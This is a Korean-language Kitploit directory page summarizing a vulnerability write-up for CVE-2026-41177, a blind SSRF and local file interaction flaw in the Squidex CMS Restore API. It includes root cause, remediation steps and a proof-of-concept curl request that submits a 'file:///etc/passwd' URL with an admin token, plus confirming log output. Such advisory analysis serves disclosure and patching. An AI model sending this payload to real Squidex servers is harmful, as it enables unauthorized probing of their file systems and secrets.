Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41177-Squidex-CMS — CVE-2026-41177, Squidex CMS(v7.23.0 이전 버전)의 블라인드 SSRF 취약점입니다. 근본 원인 분석, 재현 단계, 로컬 파일 상호작용(LFI)과 관련된 영향 평가를 포함합니다. | Kitploit
도구/GitHubGitHub/turkios/cve-2026-41177-squidex-cms
Vulnerability AnalysisExploitationWeb SecurityLearning & Education
GitHubturkios/cve-2026-41177-squidex-cms

CVE-2026-41177-Squidex-CMS

CVE-2026-41177, Squidex CMS(v7.23.0 이전 버전)의 블라인드 SSRF 취약점입니다. 근본 원인 분석, 재현 단계, 로컬 파일 상호작용(LFI)과 관련된 영향 평가를 포함합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
65개월 전아직 검토되지 않음
공유

CVE-2026-41177: Squidex CMS 블라인드 SSRF

CVE-2026-41177에 대한 기술 연구 및 분석: Squidex CMS 복원(Restore) API의 블라인드 서버 측 요청 위조(SSRF) 취약점.

취약점 개요

  • CVE ID: CVE-2026-41177
  • 영향을 받는 구성 요소: Squidex API: 백업 / 복원 엔진 (/api/apps/restore)
  • 영향을 받는 버전: < 7.23.0
  • 취약점 유형: 블라인드 SSRF (CWE-918), 로컬 파일 상호 작용 (CWE-73)

요약

Squidex 복원(Restore) API는 블라인드 서버 측 요청 위조(SSRF)에 취약합니다. 애플리케이션은 사용자가 제공한 Url 매개변수의 URI 스킴을 검증하지 못하여 file:// 프로토콜 사용을 허용합니다. 이를 통해 인증된 관리자는 백엔드 서버가 로컬 파일 시스템과 상호 작용하도록 강제할 수 있으며, 이는 로컬 파일 상호 작용(LFI) 및 내부 로그의 부수 채널 분석을 통한 민감한 시스템 정보의 잠재적 노출로 이어집니다.

세부 사항

  1. 구성: 공격자는 로컬 파일 시스템 URI(예: file:///etc/passwd)를 사용하여 "복원(Restore)" 작업을 생성합니다.
  2. 트리거: 공격자는 복원 엔드포인트에 POST 요청을 제출합니다.
  3. 실행: 백엔드는 요청을 수락하고 URL을 백그라운드 작업자(RestoreJob)에게 전달합니다.
  4. 관찰: API 응답은 일반적인 204 No Content이지만, 내부 서버 로그에는 콘텐츠가 유효한 ZIP 아카이브가 아니어서 실패하기 전에 서버가 파일을 성공적으로 열고 읽었음이 드러납니다.

개념 증명(PoC)

1. 악성 요청

다음 curl 명령을 실행합니다(<TOKEN>을 유효한 관리자 토큰으로 교체):

curl -X POST http://localhost/api/apps/restore/ \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "Url": "file:///etc/passwd",
    "Name": "exploit-poc"
  }' -v

2. 로그를 통한 검증

Squidex 컨테이너 로그의 다음 오류는 내부 파일 상호 작용을 확인합니다:

{
  "logLevel": "Error",
  "message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
  "exception": {
    "type": "System.IO.InvalidDataException",
    "message": "End of Central Directory record could not be found.",
    "stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
  }
}

참고: InvalidDataException은 서버가 파일의 바이트에 성공적으로 접근하고 읽었음을 확인합니다.

영향

이 취약점은 인증된 공격자가 다음을 수행할 수 있게 합니다:

  • 파일 시스템 정찰: 민감한 파일(예: appsettings.json, 비밀)의 존재를 확인합니다.
  • 정보 공개: 다중 테넌트 환경에서 다른 사용자의 백업 파일에 접근하는 데 잠재적으로 사용될 수 있습니다.

해결 방법

  • 업데이트: Squidex 버전 7.23.0 이상으로 업그레이드합니다.
  • 프로토콜 화이트리스트: http:// 및 https:// 스킴만 엄격하게 허용합니다.
  • 입력 검증: 처리 전에 file:// 스킴을 사용하는 URI를 거부하는 검사를 구현합니다.
  • 안전한 IO 처리: 기본 핸들러가 사용자 제공 입력에 대해 로컬 파일 시스템 확인으로 제한되도록 합니다.

참조

  • GitHub 보안 권고 (GHSA-45fq-w37p-qfw5)
  • 공식 CVE 레코드
도구 다운로드